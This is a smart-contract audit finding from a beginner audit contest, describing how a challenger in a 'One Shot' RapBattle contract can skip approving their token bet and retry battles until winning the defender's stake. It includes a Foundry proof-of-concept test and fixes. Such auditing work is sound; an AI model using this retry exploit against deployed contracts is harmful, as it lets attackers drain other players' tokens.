First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The challenger can win a rap battle without placing the credibility token bet

Sahil

Summary

In a rap battle, if the challenger doesn't approve credibility tokens to the RapBattle contract, the battle reverts if the defender is picked as the winner. However, if the challenger wins, he/she gets the credibility token bet placed by the defender. The challenger may enter the battle over and over again until he/she wins. This is a serious disruption of what the protocol intends to achieve.

Vulnerability Details

The defender enters the battle by calling RapBattle::goOnStageOrBattle, transferring his/her rapper tokenId, and credibility token bet to the RapBattle contract. When a challenger enters next, he/she doesn't need to transfer his/her credibility token bet to the RapBattle contract. This allows the challenger to enter a rap battle without approving credibility tokens to the RapBattle contract. If the defender is picked as the winner, the defender never gets the part of credibility token bet from the challenger, because the transaction reverts. This is because the challenger never approved credibility tokens to the contract, so the following line fails in RapBattle::_battle function:

73. credToken.transferFrom(msg.sender, _defender, _credBet)

The challenger can keep calling RapBattle::goOnStageOrBattle over and over again, until he/she wins and receives the defender's credibility token bet.

Impact

The challenger is guaranteed a win if he/she enters the battle over and over again without approving credibility token bet to the RapBattle contract. This also means that the challenger can enter rap battle without having any credibility tokens whatsoever. The rappers who enter the battle first are doomed to lose their credibility tokens with this exploit.

Proof of Concept

  1. Defender enters the rap battle by approving his/her rapper tokenId and credibility token bet to the RapBattle contract. The RapBattle contract transfers the tokenId and credibility token bet to itself.

  2. The challenger enters the battle with his/her tokenId, and without approving any credibility tokens to the RapBattle contract. It is also possible that the challenger doesn't have any credibility tokens at all.

  3. If the defender wins, the transaction reverts because the contract failed to transfer tokens from challenger to the defender.

  4. If the challenger wins, he/she gets the credibility token bet placed by the defender.

Add the following function to your test contract in your Foundry test file.

function testChallengerGoesToBattle(uint256 time, bytes32 difficulty) public {
// setup phase
address defender = makeAddr("defender");
address challenger = makeAddr("challenger");
​
// both the challenger and the defender get a rapper Nft minted to them, and stake it to gain some credibility tokens
vm.startPrank(defender);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
​
vm.startPrank(challenger);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
​
vm.warp(4 days + 1);
​
vm.prank(defender);
streets.unstake(0);
vm.prank(challenger);
streets.unstake(1);
​
console.log("defender's starting balance:", cred.balanceOf(defender)); // 4 tokens
console.log("challenger's starting balance:", cred.balanceOf(challenger)); // 4 tokens
​
// defender enters the battle, transferring his/her rapper tokenId and credibility token bet to the RapBattle contract
vm.startPrank(defender);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 1);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
console.log("defender enters battle. Defender's current cred token balance: ", cred.balanceOf(defender)); // 3 tokens, 1 token transferred to rapBattle as bet
​
// challenger doesn't approve his/her part of the credibility token bet, and yet, is able to enter the battle!
vm.startPrank(challenger);
vm.warp(time);
vm.prevrandao(difficulty);
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();
console.log(cred.balanceOf(challenger)); // if challenger keeps retrying, and then finally wins, challenger has 5 tokens
// however, if the challenger doesn't win, the test fails
}

With the randomized time and difficulty in the fuzz test, the challenger was able to successfully win 210 times (using the seed "0x1"). The fuzz test reverted after 210 runs when the defender actually won, and the contract failed to transfer the credibility token bet from the challenger to the defender.

[FAIL. Reason: ERC20InsufficientAllowance(0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0, 1); counterexample: calldata=0xe72e7d7a83f1c303821a4f3710a55512966f7dbf3494022843afe030110938b44ae86c023402084467cc14285f3d5a08090605290820549c984b662e4a1c0918250b0851 args=[59680139242138372652014777408658648486100020451655575976028705195302838627330 [5.968e76], 0x3402084467cc14285f3d5a08090605290820549c984b662e4a1c0918250b0851]] testChallengerGoesToBattle(uint256,bytes32) (runs: 210, μ: 598940, ~: 598940)

Tools Used

Foundry, VSCodium.

Recommendations

When the challenger goes to battle, the RapBattle::goOnStageOrBattle function should transfer the credibility token bet from the challenger to the contract. Only then the random winner should be picked.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}

Or, the RapBattle::goOnStageOrBattle function should check if the challenger has approved credibility token bet to the contract before picking a random winner.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ require(credToken.allowance(msg.sender, address(this)) == _credBet, "Challenger must approve tokens to the contract before going to battle");
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.